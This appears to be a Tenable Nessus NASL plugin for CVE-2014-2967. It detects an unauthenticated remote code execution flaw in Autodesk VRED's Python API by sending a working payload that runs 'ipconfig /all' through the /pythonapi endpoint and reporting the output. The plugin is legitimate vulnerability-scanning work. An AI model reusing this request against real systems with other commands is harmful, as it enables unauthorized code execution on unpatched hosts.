Autodesk VRED Python API Remote Code Execution

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(76775);
  script_version("1.7");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2014-2967");
  script_bugtraq_id(68364);
  script_xref(name:"CERT", value:"402020");

  script_name(english:"Autodesk VRED Python API Remote Code Execution");
  script_summary(english:"Attempts remote code execution via Python API.");

  script_set_attribute(attribute:"synopsis", value:
"An application on the remote host is affected by a remote code
execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote host has a version of Autodesk VRED that is vulnerable to
an unauthenticated remote code execution via a Python API exposed by
its built-in web server. This can allow a remote attacker to execute
arbitrary code on the host.");
  script_set_attribute(attribute:"see_also", value:"https://www.autodesk.com/products/vred/overview");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Autodesk VRED 2014 SR1 SP8 or higher.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2014/06/26");
  script_set_attribute(attribute:"patch_publication_date", value:"2014/06/26");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/07/24");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:autodesk:vred");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2014-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_require_ports("Services/www", 8888);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

appname = "Autodesk VRED";

port = get_http_port(default:8888);

# initial quick banner check
banner = get_http_banner(port:port, exit_on_fail:TRUE);
if ("Server: VREDMicroWebInterface" >!< banner) audit(AUDIT_WRONG_WEB_SERVER, port, "VREDMicroWebInterface (Autodesk VRED)");

# now we attempt rce
base_url = build_url(port:port, qs:"");

# import os
# print os.popen('ipconfig /all').read()
rce_url = "pythonapi?value=import+os%0D%0Aprint+os.popen%28%27ipconfig+%2Fall%27%29.read%28%29";

res = http_send_recv3(
  method: "GET",
  item: "/" + rce_url,
  port: port,
  exit_on_fail: TRUE
);
html = res[2];

if ("Windows IP Configuration" >!< html) audit(AUDIT_WEB_APP_NOT_AFFECTED, "Autodesk VRED Web Server", base_url);

output = strstr(html, "Windows IP Configuration");
if ("</font>" >< output) output = substr(output, 0, stridx(output, "</font>")-1);

if (report_verbosity > 0)
{
  report +=
    '\n' + 'Nessus was able to verify the vulnerability exists using the following request :' +
    '\n' +
    '\n' + base_url + rce_url +
    '\n';
  if (report_verbosity > 1)
  {
    snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
    report +=
      '\n' + "Nessus was able to execute the command 'ipconfig /all', which produced" +
      '\n' + 'the following output :' +
      '\n' +
      '\n' + snip +
      '\n' + chomp(output) +
      '\n' + snip +
      '\n';
  }
  security_hole(port:port, extra:report);
}
else security_hole(port);